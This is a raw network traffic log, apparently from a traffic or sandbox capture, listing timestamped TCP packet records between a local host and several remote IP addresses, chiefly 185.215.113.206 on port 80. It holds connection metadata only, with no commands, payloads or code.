Nov 27, 2024 17:58:57.792933941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.792984009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.793800116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.793903112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.793910027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.793941975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.794600964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.794656992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.794677973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.794734001 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.795481920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.795537949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.795578003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.795628071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.796327114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.796390057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.796444893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.796482086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.797120094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.797187090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.797188044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.797231913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.797950983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.798007965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.798078060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.798209906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.798798084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.798852921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.798911095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.798960924 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.799714088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.799772024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.799801111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.799849987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.800663948 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.800678968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.800693035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.800697088 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.800755024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.800956964 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.800968885 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.801372051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.801424980 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.801542997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.801585913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.802211046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.802278042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.802299023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.802340984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.802995920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.803052902 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.803122997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.803205967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.804137945 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.804187059 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.804248095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.804263115 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.804336071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.804338932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.804372072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.804703951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.804804087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.804847956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.805532932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.805592060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.805613995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.805655003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.806401968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.806462049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.806523085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.806603909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.807286978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.807348967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.807360888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.807398081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.808078051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.808126926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.808197021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.808240891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.808928013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.808978081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.809019089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.809068918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.809793949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.809839010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.809926987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.809999943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.810570955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.810661077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.812514067 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.812534094 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.812582970 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.812592983 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.812624931 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.815499067 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.815517902 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.818469048 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.818487883 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.818516016 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.818526983 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.818552971 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.818603039 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.821218014 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.821224928 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.876128912 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.876157045 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.876200914 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.876233101 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:57.876245022 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.876285076 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:57.876322985 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:57.876900911 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:57.876926899 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.876938105 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:57.876944065 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:57.894644022 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.894669056 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.894716978 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.894752979 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.894773960 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.894790888 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.950953960 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.950972080 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.951020956 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.951045990 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.951076031 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.951100111 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.966442108 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.966515064 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.966523886 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.966566086 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.971736908 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.971764088 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.976785898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.976811886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.976857901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.976895094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.977129936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.977169991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.977370024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.977411032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.977511883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.977699041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.978189945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.978256941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.978301048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.978372097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.978977919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.979024887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.979104042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.979187012 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.979850054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.979892015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.979907036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.979940891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.980648994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.980715036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.980746031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.980829954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.981534004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.981576920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.981609106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.981609106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.982378006 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.982424974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.982531071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.982574940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.983167887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.983280897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.983287096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.983330011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.983984947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.984035015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.984071016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.984107971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.984854937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.984919071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.984963894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.985703945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.985763073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.985780954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.985821962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.986500025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.986557961 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.986644030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.986697912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.987341881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.987432957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.987473011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.988161087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.988204956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.988245010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.988284111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.989011049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.989121914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.989150047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.989161968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.989825010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.989872932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.989913940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.989953995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.990631104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.990677118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.990741014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.990837097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.991513968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.991569996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.991626024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.991667986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.992307901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.992479086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.992538929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.993153095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.993201971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.993228912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.993242025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.994008064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.994080067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.994122982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.994858027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.994915962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.994939089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.994976997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.995693922 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.995843887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.995868921 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.995913029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.996463060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.996507883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.996568918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.996655941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.997298956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.997359991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.997385025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.997437000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.998128891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.998184919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.998234987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.998277903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.998966932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.999032974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.999049902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.999089956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.999799967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.999861002 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.999886990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.999932051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.000633955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.000683069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.000740051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.000897884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.001486063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.001591921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.001599073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.001679897 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.002307892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.002351999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.002356052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.002391100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.003144026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.003184080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.003206968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.003221035 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.004005909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.004065037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.004080057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.004125118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.004909992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.004947901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.005178928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.005219936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.005845070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.005940914 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.005944967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.005991936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.006622076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.006695032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.006704092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.006742954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.007348061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.007365942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.007431984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.008136034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.008251905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.008276939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.008291006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.008946896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.009057999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.009108067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.009808064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.009876013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.009917021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.009960890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.010675907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.010726929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.010875940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.010979891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.011467934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.011604071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.011646032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.012291908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.012371063 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.012379885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.012451887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.013137102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.013217926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.013232946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.013326883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.013590097 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.013658047 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.013751030 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.014153957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.014230967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.014254093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.014288902 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.014830112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.014869928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.014889956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.014926910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.015640974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.015685081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.015705109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.015754938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.016442060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.016483068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.016546965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.016719103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.017316103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.017371893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.017430067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.017469883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.018275023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.018346071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.018348932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.018393040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.019174099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.019215107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.019221067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.019248962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.019849062 CET	80	49850	185.215.113.206	192.168.2.7
